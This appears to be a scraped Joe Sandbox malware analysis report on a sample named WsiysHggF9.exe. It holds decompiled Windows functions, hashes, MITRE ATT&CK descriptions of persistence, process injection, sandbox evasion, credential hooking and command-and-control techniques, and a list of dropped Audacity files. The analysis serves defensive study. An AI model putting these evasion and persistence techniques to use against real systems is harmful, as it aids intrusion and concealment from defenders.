Opcode Fuzzy Hash: e1ae21ad566e9a91137250094120541d2fd118666a0c916574748f4285365087
Instruction Fuzzy Hash: 2C116671A60312DBDB209F78BC89B5536D9A752730F180715F915DB2E0DF71ECD18681

Uniqueness

Uniqueness Score: -1.00%

Function 0024130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0024130B(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E0024D9B1(0x27fee8, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E0024D9D8(0x27fee8, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0x2a1154(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0x2725b4);
								}
							}
						}
					}
				}
				return 0;
			}

0x00241312
0x00241375
0x00241314
0x00241314
0x0024131b
0x00241331
0x0024133a
0x0024133f
0x00241347
0x0024134f
0x00241357
0x00241365
0x00241365
0x00241357
0x00241347
0x0024133a
0x0024131b
0x0024137d

APIs

Part of subcall function 0024D9D8: _swprintf.LIBCMT ref: 0024D9FE
Part of subcall function 0024D9D8: _strlen.LIBCMT ref: 0024DA1F
Part of subcall function 0024D9D8: SetDlgItemTextW.USER32(?,0027D154,?), ref: 0024DA7F
Part of subcall function 0024D9D8: GetWindowRect.USER32(?,?), ref: 0024DAB9
Part of subcall function 0024D9D8: GetClientRect.USER32(?,?), ref: 0024DAC5

GetDlgItem.USER32(00000000,00003021), ref: 0024134F
SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

Strings

0, xrefs: 0024130E

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 47e416940bfa6743e3a065151cb797522b9a86df5f7156a2247c3195638da860
Instruction ID: b1dfad29b6c68a43014013c61a9d1a6d8e8a4a5ac53f96c3a3eeaaca8b16d81d
Opcode Fuzzy Hash: 47e416940bfa6743e3a065151cb797522b9a86df5f7156a2247c3195638da860
Instruction Fuzzy Hash: 01F08C34124289A7DF290F60980DBE93F98BF11355F08C054FD5D949A1CB74C9B4EA10

Uniqueness

Uniqueness Score: -1.00%

Function 002507AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E002507AC(void* __ecx, void* __ebp, void* _a4) {
				void* __esi;
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					return E00246E21(E00246E26(_t6, 0x27ff50, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff), 0x27ff50, 0x27ff50, 2);
				}
				return _t2;
			}

0x002507ac
0x002507b2
0x002507bb
0x002507c4
0x00000000
0x002507e3
0x002507e4

APIs

WaitForSingleObject.KERNEL32(?,000000FF,002508CB,?,?,0025094F,?,?,?,?,?,00250939), ref: 002507B2
GetLastError.KERNEL32(?,?,0025094F,?,?,?,?,?,00250939), ref: 002507BE

Part of subcall function 00246E26: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00246E44

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 002507C7

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: b557b43afcf0b0e8a11fbebe23cc6d8ab9acfd8740244e27edda525092b74fff
Instruction ID: d4eac7afbd2694ded2d4ebbe08854c8c4d162c7331aef00525e9387ec148d514
Opcode Fuzzy Hash: b557b43afcf0b0e8a11fbebe23cc6d8ab9acfd8740244e27edda525092b74fff
Instruction Fuzzy Hash: 98D05B32618031B7D5143774AC4DDAF7A069B53330B104715F63D591E5DE300DA585A7

Uniqueness

Uniqueness Score: -1.00%

Function 0024D98E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024D98E(void* __ecx) {
				struct HRSRC__* _t3;
				void* _t5;

				_t5 = __ecx;
				_t3 = FindResourceW(GetModuleHandleW(0), L"RTL", 5);
				if(_t3 != 0) {
					 *((char*)(_t5 + 0x64)) = 1;
					return _t3;
				}
				return _t3;
			}

0x0024d991
0x0024d9a1
0x0024d9a9
0x0024d9ab
0x00000000
0x0024d9ab
0x0024d9b0

APIs

GetModuleHandleW.KERNEL32(00000000,?,0024D26F,?), ref: 0024D993
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0024D26F,?), ref: 0024D9A1

Strings

RTL, xrefs: 0024D99B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 4e67b87087e3855b7e7ddcf2aceefc5013845cb45a829c33b0bdb5323a0b0091
Instruction ID: 2edc4a87eb2369ad77db7617ee5c43e929e049437d0f13724a15bdf415e987ec
Opcode Fuzzy Hash: 4e67b87087e3855b7e7ddcf2aceefc5013845cb45a829c33b0bdb5323a0b0091
Instruction Fuzzy Hash: BFC08031355351E6D7342F307D0EB432D487B61B11F190449F249DA1D0D5F5C484C770

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WsiysHggF9.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Audacity\Audacity.exe (copy)

C:\Program Files\Audacity\EffectsMenuDefaults.xml (copy)

C:\Program Files\Audacity\FLAC++.dll (copy)

C:\Program Files\Audacity\FLAC.dll (copy)

C:\Program Files\Audacity\FirstTime.ini

C:\Program Files\Audacity\LICENSE.txt (copy)

C:\Program Files\Audacity\Languages\af\audacity.mo (copy)

C:\Program Files\Audacity\Languages\af\is-HO62N.tmp

C:\Program Files\Audacity\Languages\ar\audacity.mo (copy)

C:\Program Files\Audacity\Languages\ar\is-T0H9J.tmp

C:\Program Files\Audacity\Languages\be\audacity.mo (copy)

C:\Program Files\Audacity\Languages\be\is-M4P44.tmp

C:\Program Files\Audacity\Languages\bg\audacity.mo (copy)

C:\Program Files\Audacity\Languages\bg\is-3UN24.tmp

C:\Program Files\Audacity\Languages\bn\audacity.mo (copy)

C:\Program Files\Audacity\Languages\bn\is-TP6MB.tmp

C:\Program Files\Audacity\Languages\bs\audacity.mo (copy)

C:\Program Files\Audacity\Languages\bs\is-2VUIJ.tmp

C:\Program Files\Audacity\Languages\ca\audacity.mo (copy)

Windows Analysis Report
WsiysHggF9.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre